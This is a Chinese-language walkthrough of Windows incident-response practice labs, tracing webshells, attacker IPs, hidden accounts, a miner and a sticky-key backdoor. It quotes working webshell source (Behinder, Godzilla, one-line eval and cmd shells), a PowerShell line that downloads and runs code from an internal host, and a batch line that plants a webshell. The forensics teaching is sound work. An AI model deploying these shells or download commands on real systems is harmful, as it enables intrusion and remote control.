应急响应靶机——知攻善防实验室

应急响应靶机

学习靶机来自知攻善防实验室公众号,有兴趣的师傅可以关注一下,如涉及侵权马上删除文章;笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人无关,切勿触碰法律底线,否则后果自负!!!

靶机地址:https://pan.quark.cn/s/4b6dffd0c51a#/list/share
蓝队工具箱:https://github.com/ChinaRan0/BlueTeamTools

参考文章:
知攻善防博客题解:
https://blog.csdn.net/Liyu_6618/article/details/140253392?fromshare=blogdetail&sharetype=blogdetail&sharerId=140253392&sharerefer=PC&sharesource=m0_65712192&sharefrom=from_link

那年星君如月博客题解:
https://blog.csdn.net/weixin_44030810/article/list/1

Windows应急响应靶机–Web1

挑战内容

前景需要:

小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将服务器关机,并找来正在吃苕皮的hxd帮他分析,这是他的服务器系统,请你找出以下内容,并作为通关条件:

1.攻击者的shell密码

2.攻击者的IP地址

3.攻击者的隐藏账户名称

4.攻击者挖矿程序的矿池域名(仅域名)

5.有实力的可以尝试着修复漏洞

administrator:Zgsf@admin.com

在这里插入图片描述

题目1:攻击者的shell密码

打开靶机,已经自动安装好vm tools很干净,phpstudy,解题。
在这里插入图片描述
shell密码,这种肯定是已经被webshell了,上传D盾扫描小皮的WWW目录C:\phpstudy_pro\WWW

在这里插入图片描述
C:\phpstudy_pro\WWW\content\plugins\tips shell.php已知后门
在这里插入图片描述

记事本打开查看:典型的冰蝎马3.0
在这里插入图片描述

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

拿md5值去反查明文,获得webshell的连接密码rebeyond。
https://www.somd5.com
在这里插入图片描述
shell密码:rebeyond

题目2:攻击者的IP地址

上传webshell,肯定会有日志留存

从Apache和Nginx这里面考虑:

C:\phpstudy_pro\Extensions\Apache2.4.39\logs

在这里插入图片描述

C:\phpstudy_pro\Extensions\Nginx1.15.11\logs
在这里插入图片描述
Nginx日志没有,Apache日志接近15M。
直接搜索shell.php
在这里插入图片描述
并且在2024:22:34:29时间发起了大量同一请求:暴力破解,应该是有弱口令。
在这里插入图片描述
IP:192.168.126.1

题目3:攻击者的隐藏账户名称

用Windows日志分析工具查询远程桌面登录成功的日志
在这里插入图片描述
在这里插入图片描述

2024-02-26 23:02:24	hack168$ WIN-N8G63QC50SQ 10	User32 	WIN-N8G63QC50SQ	C:\Windows\System32\svchost.exe	192.168.126.1	0	4624

D盾也可以检测隐藏用户:
在这里插入图片描述

隐藏用户是可以在管理账户看到的:
在这里插入图片描述

隐藏用户:hack168$

题目4:攻击者挖矿程序的矿池域名(仅域名)

在C盘里面查看hack168KaTeX parse error: Undefined control sequence: \Users at position 9: 账户的文件:C:\̲U̲s̲e̲r̲s̲\hack168\Desktop
在这里插入图片描述

Kuang.exe? 运行直接卡s
在这里插入图片描述

上传DIE查壳,看看怎么事:
在这里插入图片描述

使用pyinstxtractor对挖矿程序进行解包,将exe文件解包成pyc文件

python .\pyinstxtractor.py .\Kuang.exe
在这里插入图片描述

使用uncompyle6将pyc文件反编译成py文件。

pip install uncompyle6

uncompyle6 .\Kuang.pyc
在这里插入图片描述

# uncompyle6 version 3.9.2
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.12.4 (tags/v3.12.4:8e8a4ba, Jun  6 2024, 19:30:16) [MSC v.1940 64 bit (AMD64)]
# Embedded file name: Kuang.py
import multiprocessing, requests

def cpu_intensive_task():
    while True:
        try:
            requests.get("http://wakuang.zhigongshanfang.top", timeout=10)
        except:
            pass


if __name__ == "__main__":
    cpu_count = multiprocessing.cpu_count()
    processes = [multiprocessing.Process(target=cpu_intensive_task) for _ in range(cpu_count)]
    for process in processes:
        process.start()
    else:
        for process in processes:
            process.join()

# okay decompiling .\Kuang.pyc

矿池域名:wakuang.zhigongshanfang.top

题目5:有实力的可以尝试着修复漏洞

哦?开放题。

先打开小皮看看是什么站:
在这里插入图片描述

在之前的Apache日志中提取主要部分:

192.168.126.1 - - [26/Feb/2024:22:34:28 +0800] "POST /admin/account.php?action=dosignin&s= HTTP/1.1" 302 -
……
192.168.126.1 - - [26/Feb/2024:22:36:12 +0800] "POST /admin/account.php?action=dosignin&s= HTTP/1.1" 302 -
192.168.126.1 - - [26/Feb/2024:22:37:09 +0800] "POST /admin/account.php?action=dosignin&s= HTTP/1.1" 302 -
192.168.126.1 - - [26/Feb/2024:22:37:09 +0800] "GET /admin/ HTTP/1.1" 200 18865
……
192.168.126.1 - - [26/Feb/2024:22:45:57 +0800] "GET /admin/plugin.php?action=del&plugin=tips/tips.php&token=2dac908ae2df3b0237dee7081da123d213176d24 HTTP/1.1" 302 -
192.168.126.1 - - [26/Feb/2024:22:45:57 +0800] "GET /admin/plugin.php?activate_del=1 HTTP/1.1" 200 14725
192.168.126.1 - - [26/Feb/2024:22:45:57 +0800] "POST /admin/plugin.php?action=check_update HTTP/1.1" 400 94
192.168.126.1 - - [26/Feb/2024:22:46:05 +0800] "POST /admin/plugin.php?action=upload_zip HTTP/1.1" 302 -
192.168.126.1 - - [26/Feb/2024:22:46:05 +0800] "GET /admin/plugin.php?activate_install=1 HTTP/1.1" 200 16182
192.168.126.1 - - [26/Feb/2024:22:46:05 +0800] "POST /admin/plugin.php?action=check_update HTTP/1.1" 400 94
192.168.126.1 - - [26/Feb/2024:22:46:08 +0800] "GET /admin/plugin.php?action=active&plugin=tips/tips.php&token=2dac908ae2df3b0237dee7081da123d213176d24 HTTP/1.1" 302 -
192.168.126.1 - - [26/Feb/2024:22:46:08 +0800] "GET /admin/plugin.php?active=1 HTTP/1.1" 200 16392
192.168.126.1 - - [26/Feb/2024:22:46:08 +0800] "POST /admin/plugin.php?action=check_update HTTP/1.1" 400 94
192.168.126.1 - - [26/Feb/2024:22:46:20 +0800] "GET /content/plugins/tips HTTP/1.1" 301 252
192.168.126.1 - - [26/Feb/2024:22:46:20 +0800] "GET /content/plugins/tips/ HTTP/1.1" 404 -
192.168.126.1 - - [26/Feb/2024:22:46:23 +0800] "GET /content/plugins/tips/shell.php HTTP/1.1" 200 -
……
192.168.126.1 - - [26/Feb/2024:22:46:35 +0800] "GET /content/plugins/tips/shell.php?888666=619 HTTP/1.1" 200 -

黑客先发起大量的POST请求:/admin/account.php进行暴力破解,登录进去访问plugin.php页面,然后就开始访问shell.php页面。

搜索一下吧:emlog /admin/plugin.php漏洞

Emlog Pro 2.2.0 版本存在任意文件上传漏洞(CVE-2023-44974),攻击者可以通过上传构建的 PHP 文件来执行任意代码
在这里插入图片描述

尝试复现一下:

admin:123456 默认密码进去了
在这里插入图片描述

扩展–插件–安装插件

在这里插入图片描述

整个木马测试:

!

<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

http://localhost/content/plugins/cmd/cmd.php?cmd=whoami
在这里插入图片描述

修复嘛 1.改密码为强口令 2.对文件上传功能点进行严格校验 3.再就是更新Emlog 的版本了。

提交答案:
1.webshell密码
rebeyond

2.攻击者IP
192.168.126.1

3.隐藏用户
hack168$

4.矿池域名
wakuang.zhigongshanfang.top

要用命令窗口去打开解题.exe,不然输入答案窗口可能会消失。
在这里插入图片描述

Windows应急响应靶机–Web2

挑战内容

前景需要:小李在某单位驻场值守,深夜12点,甲方已经回家了,小李刚偷偷摸鱼后,发现安全设备有告警,于是立刻停掉了机器开始排查。

这是他的服务器系统,请你找出以下内容,并作为通关条件:

1.攻击者的IP地址(两个)?

2.攻击者的webshell文件名?

3.攻击者的webshell密码?

4.攻击者的伪QQ号?

5.攻击者的伪服务器IP地址?

6.攻击者的服务器端口?

7.攻击者是如何入侵的(选择题)?

8.攻击者的隐藏用户名?

用户:administrator

密码:Zgsf@qq.com

在这里插入图片描述

开始:
在这里插入图片描述

题目1:攻击者IP两个

先把服务开起来:
在这里插入图片描述

IP?那就先看Apache的日志:

C:\phpstudy_pro\Extensions\Apache2.4.39\logs

在这里插入图片描述

攻击者进行了目录扫描:

在这里插入图片描述

在2024:13:02:00的时候突然冒出来一个system.php文件访问成功,但在之前也没有发现上传成功的日志,而且距离上一个日志间隔8分钟。

在这里插入图片描述

因为该服务器还开着FTP,看一眼日志:

不是,日志呢???

在这里插入图片描述

看看作者文章,对啊,就在这个目录:C:\phpstudy_pro\Extensions\FTP0.9.60\Logs

我咋没有???灵机一动,直接开搜:

在这里插入图片描述

只搜到了两个快捷方式,而且回收站里面也没有。。。

在这里插入图片描述

这里用原作者的图片顶一下:

在这里插入图片描述

斯,这里需要两个IP,上面这个是192.168.126.135,还有一个,找找日志:
在这里插入图片描述

在这里插入图片描述

找到另一个:192.168.126.129 hack887$应该是隐藏用户

2024-02-29 13:28:48	hack887$ WIN-RRCVI68HLRI 10	User32 	WIN-RRCVI68HLRI	C:\Windows\System32\svchost.exe	192.168.126.129	0 4624

192.168.126.135 192.168.126.129

题目2:攻击者webshell文件名

webshell名称肯定是system.php了,D盾跑一下:C:\phpstudy_pro\WWW
在这里插入图片描述

system.php

题目3:攻击者webshell密码

看一下system.php:典型的哥斯拉PHP_XOR_BASE64的马
在这里插入图片描述

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='hack6618';
$payloadName='payload';
$key='7813d1590d28a7dd';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

密码:hack6618

题目4:攻击者伪QQ号

QQ?找Tencent相关的:C:\Users\Administrator\Documents\Tencent Files
在这里插入图片描述

777888999321

题目5:攻击者伪服务器IP地址

查看一下服务器最近的操作,winr+r输入%userprofile%/recent
在这里插入图片描述

打开文件所在位置:

C:\Users\Administrator\Documents\Tencent Files\777888999321\FileRecv\frp_0.54.0_windows_amd64\frp_0.54.0_windows_amd64
在这里插入图片描述

[common]
server_addr = 256.256.66.88
server_port = 65536

256.256.66.88

题目6:攻击者的服务器端口

65536

题目7:攻击者是如何入侵的(选择题)

FTP 有可能是FTP的匿名登录

题目8:攻击者隐藏用户名

D盾:

在这里插入图片描述

hack887$不仅仅是隐藏用户,还是克隆了管理员账号,这种在控制面板的用户里是显示不出来的,net user查询不到。
在这里插入图片描述

计算机\HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\hack887$

应急的时候遇到这类用户直接删除该项以及3E8
在这里插入图片描述

hack887$

提交答案:
1.IP
192.168.126.135
192.168.126.129

2.webshell名称
system.php

3.webshell密码
hack6618

4.伪QQ号
777888999321

5.服务器IP
256.256.66.88

6.服务器端口
65536

7.如何入侵
FTP

8.隐藏用户
hack887$

在这里插入图片描述

Windows应急响应靶机–Web3

挑战内容

前景需要:小苕在省护值守中,在灵机一动情况下把设备停掉了,甲方问:为什么要停设备?小苕说:我第六感告诉我,这机器可能被黑了。

这是他的服务器,请你找出以下内容作为通关条件:

  1. 攻击者的两个IP地址
  2. 隐藏用户名称
  3. 黑客遗留下的flag【3个】

administrator:xj@123456

这个需要导入一下虚拟机,选择解压的文件就行。

题目1:攻击者的两个IP地址

在这里插入图片描述

有小皮面板,是有网站的,把服务打开:
在这里插入图片描述

默认是安好VMtools的,那先上传工具看看怎么事:

D盾:
在这里插入图片描述

扫描网站:

小皮面板网站的目录:D:\phpstudy_pro\WWW
在这里插入图片描述

出来两个后门:
在这里插入图片描述

<?php
eval($_POST["pass"]);
?>

普普通通的一句话木马,证明被攻击了,去看看日志:

D:\phpstudy_pro\Extensions\Apache2.4.39\logs

access.log一开始大小都是0kb,懵了,然后用记事本打开access.log.1710201600日志是有的,第一个5200结尾的里面没有东西。
在这里插入图片描述

分析日志吧:

前面都是本地访问,然后在2024:11:06:58的时候,192.168.75.129对网站进行大量访问扫描:
在这里插入图片描述

直接搜木马文件404.php和post-safe.php

在日志第1206行,时间为2024:11:33:45发现192.168.75.129 GET上传404.php成功:
在这里插入图片描述

post-safe.php可惜没有找到

在这里插入图片描述

看看还有什么IP和可疑的行为:

换IP了:192.168.75.130

在这里插入图片描述
在这里插入图片描述

攻击者IP:192.168.75.129 192.168.75.130

题目2:隐藏用户名称

D盾检测隐藏用户:
在这里插入图片描述

查看远程桌面日志:
在这里插入图片描述

在这里插入图片描述

用户hack6618$在2024-03-12 11:49:11登录成功4624

2024-03-12 11:49:11	hack6618$	WIN-4K8FN05NEAI	4	Advapi  	WIN-4K8FN05NEAI	C:\Windows\System32\svchost.exe	-	-	4624

隐藏用户名称:hack6618$

题目3:黑客遗留下的flag【3个】

Apache可疑日志:

/zb_system/admin/index.php?act=MemberMng是服务器的用户管理界面,而/zb_system/admin/member_edit.php?act=MemberNew则代表了新建用户:
在这里插入图片描述

创建用户肯定在数据库里面,赌它数据库加没加密:

下个phpmyadmin,去看看数据库里面:
在这里插入图片描述

root:zgsfSEC
在这里插入图片描述

在这里插入图片描述

在数据库zblog123的表zbp_member里面发现了由192.168.75.130创建的Hacker用户:

Hacker:12bfcd08c23e2291338aec8d1636d460

在这里插入图片描述

还干出来一个flag:flag{H@Ck@sec}

在这里插入图片描述

解密失败了,应该是md5加盐了 ,得代审逆向推了。

12bfcd08c23e2291338aec8d1636d460

在这里插入图片描述

百度一下看看有没有简单办法:
在这里插入图片描述

看一篇文章:后台忘记密码? ZBlogPHP密码重置工具_ZBlog教程_然主题

在这里插入图片描述

把nologin.php传到网站目录:

在这里插入图片描述

想偷懒的直接复制粘贴:

<?php
require './zb_system/function/c_system_base.php';
//$zbp->Load();

if (isset($_GET['uid']) && isset($_GET['resetpw'])) {
    $id = (int) $_GET['uid'];
    $m = $zbp->GetMemberByID($id);
    $m->Level = 1;
    if (trim($m->Guid) == '') {
        $m->Guid = GetGuid();
    }
    $m->Password = Member::GetPassWordByGuid('12345678', $m->Guid);
    $m->Save();

    unlink(__FILE__);

    Redirect('zb_system/cmd.php?act=login');
    die;
}

if (isset($_GET['uid'])) {
    $zbp->Load();
    $zbp->LoadMembers(1);
    $m = $zbp->members[$_GET['uid']];
    if (function_exists('SetLoginCookie')) {
        SetLoginCookie($m, 0);
    } else {
        $un = $m->Name;
        $zbp->user = $m;
        if ($blogversion > 131221) {
            $ps = md5($m->Password . $zbp->guid);
        } else {
            $ps = md5($m->Password . $zbp->path);
        }
        setcookie("username", $un, 0, $zbp->cookiespath);
        setcookie("password", $ps, 0, $zbp->cookiespath);
    }

    if (isset($GLOBALS['hooks']['Filter_Plugin_VerifyLogin_Succeed'])) {
        foreach ($GLOBALS['hooks']['Filter_Plugin_VerifyLogin_Succeed'] as $fpname => &$fpsignal) {
            $fpname();
        }
    }

    unlink(__FILE__);

    Redirect('zb_system/cmd.php?act=login');
    die();
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">

<head>
    <meta http-equiv="Content-Type" content="text/html;charset = UTF-8" />
    <title>Z-BlogPHP密码重置工具</title>
    <style>
        * {
            margin: 0;
            padding: 0;
        }

        h1,
        h2,
        h3,
        h4,
        h5,
        h6 {
            font-weight: normal;
        }

        input,
        textarea,
        select,
        label {
            font-family: microsoft yahei;
        }

        ul {
            list-style: none;
        }

        body {
            font-family: microsoft yahei;
            background: #f0f0f0;
        }

        .nologin {
            width: 600px;
            margin: 0 auto 0;
            background: #fff;
            position: fixed;
            top: 50%;
            right: 0;
            left: 0;
            min-height: 400px;
        }

        .loginhead {
            padding: 30px 0;
            color: #fff;
            text-align: center;
            background: #3a6ea5;
        }

        .loginhead h1 {
            font-size: 22px;
        }

        .loginhead h2 {
            margin-top: 10px;
            font-size: 14px;
        }

        .loginbody {
            padding: 30px;
        }

        .loginuser li {
            padding: 20px 0;
            line-height: 28px;
            border-bottom: 1px dotted #eee;
        }

        .loginuser em {
            font-size: 12px;
            color: #999;
            font-style: normal;
        }

        .loginuser label {
            font-size: 14px;
            color: #3a6ea5;
            font-weight: bold;
        }

        .loginuser input {
            margin-left: 20px;
            float: right;
            padding: 0 20px;
            font-size: 14px;
            color: #fff;
            text-align: center;
            line-height: 30px;
            border: 0;
            border-radius: 2px;
            cursor: pointer;
            background: #3a6ea5;
        }

        .loginmsg {
            margin-top: 30px;
            font-size: 12px;
            color: red;
            line-height: 30px;
            text-align: center;
        }

        .loginmsg b {
            color: #333;
        }
    </style>
    <script type="text/javascript" src="./zb_system/script/jquery-1.8.3.min.js"></script>
    <script>
        $(function() {
            $loginh = $(".nologin").height();
            $(".nologin").css("margin-top", -$loginh / 2);
        });
    </script>
</head>

<body>
    <div class="nologin">
        <div class="loginhead">
            <h1>Z-BlogPHP免输入密码登陆工具</h1>
            <h2><?php echo ZC_BLOG_VERSION; ?></h2>
        </div>
        <div class="loginbody">
            <form id="frmLogin" method="post">
                <div class="loginuser">
                    <ul>
                        <input type="hidden" name="userid" id="userid" value="0" />
                        <?php
                        $zbp->LoadMembers(1);
                        $i = 0;
                        foreach ($zbp->members as $key => $m) {
                            if ($m->Level < 2) {
                                $i += 1;
                                echo '<li><em>[ 管理员 ]</em> <label for = "">' . $m->Name . '</label>
        <input type = "button" onclick = "location.href = \'?uid=' . $m->ID . '\'" value = "登录" />
        <input type = "button" onclick = "location.href = \'?uid=' . $m->ID . '&resetpw=1\'" value = "重置密码为12345678" />&nbsp;&nbsp;
        </li>';
                            }
                        }
                        if ($i == 0) {
                            $m = $zbp->GetMemberByID(1);
                            echo '<li><em>[ 管理员 ]</em> <label for = "">' . $m->Name . '</label>
    <input type = "button" onclick = "location.href = \'?uid=' . $m->ID . '\'" value = "登录" />
    <input type = "button" onclick = "location.href = \'?uid=' . $m->ID . '&resetpw=1\'" value = "重置密码为12345678" />&nbsp;&nbsp;
    </li>';
                        }
                        ?>
                    </ul>
                </div>
                <div class="loginmsg">[注意] <b>此工具非常危险,使用后请立刻通过<u>FTP删除</u>.</b></div>
            </form>
        </div>
    </div>
</body>

</html>

D:\phpstudy_pro\WWW
在这里插入图片描述

访问:http://localhost/nologin.php

在这里插入图片描述

重置两个用户的密码,随便一个登录进去:

在这里插入图片描述

发现和数据库里面的一样,也是,都是通用的。flag{H@Ck@sec}

这次才第一个flag,想一想,还有个隐藏用户hack6618 , 用 管 理 员 用 户 看 看 有 没 有 好 东 西 : ( 这 里 提 醒 一 下 , 如 果 没 有 找 到 可 疑 的 木 马 或 者 f l a g , 就 要 登 录 h a c k 6618 ,用管理员用户看看有没有好东西:(这里提醒一下,如果没有找到可疑的木马或者flag,就要登录hack6618 西flaghack6618用户去查找,这个是可以登录的;不过这次运气好,在hack6618$用户下载里面)

C:\Users\hack6618$\Downloads

发现了system.bat,将一句话木马写入到404.php文件中
在这里插入图片描述

echo ^<?php eval($_POST["pass"]); ?^> > D:\phpstudy_pro\WWW\zb_users\theme\aymFreeFive\template\404.php
echo flag{888666abc}

第二个:flag{888666abc}

既然写入文件了,那么考虑会不会放入了系统启动项,是否有被创建任务计划程序等等。

火绒剑找到了system.bat的计划任务:

在这里插入图片描述

在计划任务里面看一眼:

在这里插入图片描述

在这里插入图片描述

可以看到,当任何用户登陆或者每隔1小时,该任务就会自动执行启动system.bat操作,将一句话木马写入到404.php文件。

flag{H@Ck@sec}

flag{888666abc}

flag{zgsfsys@sec}

提交答案:
1.两个攻击者IP
192.168.75.129
192.168.75.130

2.隐藏用户
hack6618$

3.三个flag
flag{H@Ck@sec}
flag{888666abc}
flag{zgsfsys@sec}

在这里插入图片描述

Windows应急响应靶机–近源渗透OS-1

挑战内容:

前景需要:小王从某安全大厂被优化掉后,来到了某私立小学当起了计算机老师。某一天上课的时候,发现鼠标在自己动弹,又发现除了某台电脑,其他电脑连不上网络。感觉肯定有学生捣乱,于是开启了应急。

1.攻击者的外网IP地址

2.攻击者的内网跳板IP地址

3.攻击者使用的限速软件的md5大写

4.攻击者的后门md5大写

5.攻击者留下的flag

解题:

运行桌面上"解题工具.exe"即可

Administrator

zgsf@2024

解题之前先来看看什么是近源攻击:

近源攻击是指攻击者通过物理接近目标系统或网络,直接接入设备或无线网络进行攻击,绕过常规网络安全防护。其手段包括物理窃取、数据监听、恶意软件植入等,危害极大,可能导致数据泄露、系统破坏甚至人身安全威胁。防范措施包括严格人员审查、设备出入管控、关键数据加密,并部署物理及网络安全设备,以降低内部和近距离攻击风险。政府、企业及个人均需提高警惕,避免因物理接触导致的安全漏洞。

开始吧:

在这里插入图片描述

先来安装VM Tools,出现了这,想办法解决!
在这里插入图片描述

百度一下是缺KB4474419补丁

Microsoft Update Catalog
在这里插入图片描述

文件下载后改后缀为xxx.iso(两个方法,文件共享IOS文件;利用ftp等网络传输工具把补丁下载到winserver2008,安装)
在这里插入图片描述

开机安装:
在这里插入图片描述

舒服了:
在这里插入图片描述

题目1:攻击者的外网IP地址

先从桌面看起吧:
在这里插入图片描述

把这几个可疑的doc先放在沙箱慢炖一波:

https://s.threatbook.com/
在这里插入图片描述

逮到一个:学校放假通知-练习.doc

在这里插入图片描述

小木马:

在这里插入图片描述

行为情况:
在这里插入图片描述

进程注入,CS,让我想到了这:没错,就是最右边像死水那黄毛!!!
在这里插入图片描述

网络情况:
在这里插入图片描述
rundll32.exe,这是CS的默认生产payload文件,这样看小王老师的计算机应该是被远控了。

八成是它了:8.219.200.130

题目2:攻击者的内网跳板IP地址

内网跳板,看看有没有运行脚本或者运行程序:

细看桌面,有一个phpStudy-修复:这是个快捷方式,是一个bat文件(批处理文件)一种Windows的脚本文件,可以执行一系列命令,有可能被攻击者利用。
在这里插入图片描述

看看属啥的:

在这里插入图片描述

哦吼,bat文件,还是个test.bat,不过显示在桌面,目前看不到,应该是给隐藏了,不急,我给找出来:开!!!
在这里插入图片描述
在这里插入图片描述

出来了 lnk文件

在这里插入图片描述

打开康康:
在这里插入图片描述

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.20.129:801/a'))"

powershell脚本,熟悉CS的小伙伴都知道。

内网跳板不就来了:192.168.20.129:801

题目3:攻击者使用的限速软件的md5大写

限速软件?题目说 除了某台电脑,其他电脑连不上网络,估计是哪个”学生黑客“在玩ARP劫持吧!(别问我怎么知道的)

好小子,虚晃一枪:666
在这里插入图片描述

C:\PerfLogs\666\666\777\666\666\666\666\666\666\666\666\666\666\666

真6啊!!!
在这里插入图片描述

运行一下看看:P2P终结者4.34

在这里插入图片描述

学生黑客最爱啊:

在这里插入图片描述

打开看看:
在这里插入图片描述

好了,放沙箱跑一跑:安全滴
在这里插入图片描述
简单看一下行为:
在这里插入图片描述

hash值转个大写就可以:2A5D8838BDB4D404EC632318C94ADC96

题目4:攻击者的后门md5大写

后门,得好好找找了,先看看小王老师开了什么端口:netstat -ano
在这里插入图片描述
端口到是开的不少,135,445,139,3389的,还有一个外联地址(看了看打不开),80和3306是我看桌面有phpstudy手贱打开的(一个Hello World的网站)

其实到还是正常,看看3389吧,这个是一般不开启的:

查看3389的服务PID:netstat -ano | findstr “3389”

查找此PID对应的进程服务:tasklist | findstr “1396”
在这里插入图片描述
svchost.exe

  • svchost.exe 是从动态链接库(DLL)中运行的服务的通用主机进程名称,本身只是作为服务宿主,并不实现任何服务功能,提供条件让其他服务在这里被启动,需要svchost.exe启动的服务以动态链接库形式实现,在安装这些服务时,把服务的可执行程序指向svchost.exe,启动这些服务时由svchost.exe调用相应服务的动态链接库来启动服务。

  • svchost.exe文件定位在系统的%systemroot%\system32文件夹下 **%systemroot%**是系统的环境变量 指的是系统的根目录
    在这里插入图片描述
    可以看到有很多程序在运行,这个如果存在病毒木马的话,多是CPU占用率高。
    在这里插入图片描述
    看一下相关服务:
    在这里插入图片描述
    好吧,没啥事。。

那集中看一下C:\Windows\System32文件,因为里面文件,运行程序,dll,exe等等很多,鱼龙混杂的,而且还是system权限下,黑客最喜欢在这里面下手。

我们直接调一手修改日期,看看最近的改动:
在这里插入图片描述
最新的是我安装补丁出来的一些dat,配置文件等,但是发现一个sethc.exe文件,还真不到是啥,bing一下:

好家伙,直接出来留后门教程,这第一个应该根据大数据推出来的吧。
在这里插入图片描述

​ sethc就是windows中的粘滞键。他的启用方式是按5下shift键,windows就会去找c:\windows\system32\下面的sethc.exe程序,并执行它。那么这个时候,细心的我们就应该发现,cmd也是在这个目录下。系统是通过检索sethc这个名字来启用的,那我们是否可以将cmd改成sethc,从而使本该调用sethc的时候,“错误”的调用了cmd。这样,就形成了一个漏洞。而且这个快捷方式只要不被禁用,甚至在电脑没有进入系统桌面之前都可以被调用,因为这个东西比较隐蔽,所以很多人都忽视了它,正因为如此,它的危害就显而易见了。
“可以留做后门,平常木马后门容易被发现,或者提权困难的情况下,使用sethc替换后门是不错的选择”

好好好,应该是它了,搞它!!!
在这里插入图片描述
在这里插入图片描述

沙箱运行把flag干出来了:
在这里插入图片描述
我运行看看:方式两种 直接打开sethc.exe;连续按5次shift系统会运行粘滞键。
在这里插入图片描述
1是cmd 2是文件管理

58A3FF82A1AFF927809C529EB1385DA1

题目5:攻击者留下的flag

这里在把sethc.exe反编译一下吧,看看咋写的:

使用pyinstxtractor进行反编译(工具:https://github.com/extremecoders-re/pyinstxtractor)

python .\pyinstxtractor.py .\sethc.exe
在这里插入图片描述
国产化一下:
在这里插入图片描述
说是最好是python3.8运行,我py是3.12的,然后也是搞出来了:
在这里插入图片描述
这里就需要反编译了:

在线网站:python反编译 - 在线工具

上传shift后门.pyc
在这里插入图片描述
本地安装uncompyle6库(py3.8自带,其他版本需要安装)

pip install uncompyle6

uncompyle6 .\shift后门.pyc
在这里插入图片描述
uncompyle6 .\shift后门.pyc > shift后门.py

# uncompyle6 version 3.9.2
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.12.4 (tags/v3.12.4:8e8a4ba, Jun  6 2024, 19:30:16) [MSC v.1940 64 bit (AMD64)]
# Embedded file name: shift后门.py
import os
print("Shift后门-flag{zgsf@shift666}")
print("(1) cmd.exe")
print("(2) explorer.exe")
num = int(input("select:"))
if num == 1:
    os.system("start cmd.exe")
else:
    if num == 2:
        os.system("start explorer.exe")
    else:
        exit()

# okay decompiling .\shift后门.pyc

ps:还有梭哈版的:

GitHub - one066/Exe-decompiling: python的pyinstaller打包的exe反编译为.py文件

但是需要py3.9之前的版本
在这里插入图片描述
flag{zgsf@shift666}

提交答案:
1.攻击者IP
8.219.200.130

2.攻击者内网跳板IP
192.168.20.129

3.限速软件md5大写
2A5D8838BDB4D404EC632318C94ADC96

4.后门md5大写
58A3FF82A1AFF927809C529EB1385DA1

5.flag
flag{zgsf@shift666}

在这里插入图片描述

Windows应急响应靶机–挖矿事件

挑战内容:

前景需要:机房运维小陈,下班后发现还有工作没完成,然后上机器越用越卡,请你帮他看看原因。

挑战题解:

  1. 攻击者的IP地址
  2. 攻击者开始攻击的时间
  3. 攻击者攻击的端口
  4. 挖矿程序的md5
  5. 后门脚本的md5
  6. 矿池地址
  7. 钱包地址
  8. 攻击者是如何攻击进入的

解题:运行桌面上的解题工具即可

账号:Administrator
密码:zgsf@123
在这里插入图片描述
先安VM Tools 干啥都方便,这个还好,一安就成功!
在这里插入图片描述

题目1:攻击者的IP地址

开始开始:
在这里插入图片描述

第一眼看到的是 DMZ账号密码和向日葵、Moba等远程控制工具,斯,感觉不太秒啊,IP的话得从日志分析了,打开蓝队应急工具箱,需要什么就上传什么:
在这里插入图片描述
先打开DMZ服务器账号密码看一下:
在这里插入图片描述
致命错误啊!密码都是统一的,可能是攻击者在拿到一台的密码后进行的密码喷洒。

从日志分析里面找工具:
在这里插入图片描述
运行windowslog.exe
在这里插入图片描述

查看所有登录失败日志(4625),发现暴力破解,IP为192.168.115.131在2024-05-21 20:25:22以administrator用户进行多次登录
在这里插入图片描述

查看所有登录成功日志(4624),可以对应起来已经登录进来了:
在这里插入图片描述
192.168.115.131

题目2:攻击者开始攻击的时间

2024-05-21 20:25:22

题目3:攻击者攻击的端口

桌面登录,肯定是3389了
在这里插入图片描述

题目4:挖矿程序的md5

操作起来桌面卡卡的,快看看进程,都忘了这是台挖矿机器了。
在这里插入图片描述
哎哟我去,绝对是挖矿小工人xmrig.exe了:
在这里插入图片描述
转到文件看看:
在这里插入图片描述

对了,先把挖矿小工人结束进程,服务:
在这里插入图片描述
停止c3pool_miner服务
在这里插入图片描述
上传HASH计算器:
在这里插入图片描述

文件: C:\Users\Administrator\c3pool\xmrig.exe
大小: 6497280 字节
文件版本: 6.21.3-C3Pool
修改时间: 2024年4月29日, 17:46:50
MD5: A79D49F425F95E70DDF0C68C18ABC564
SHA1: 0E6B7BE76E63FE30B9F3F936B8ED308E97B49F9A
CRC32: 6370E90E

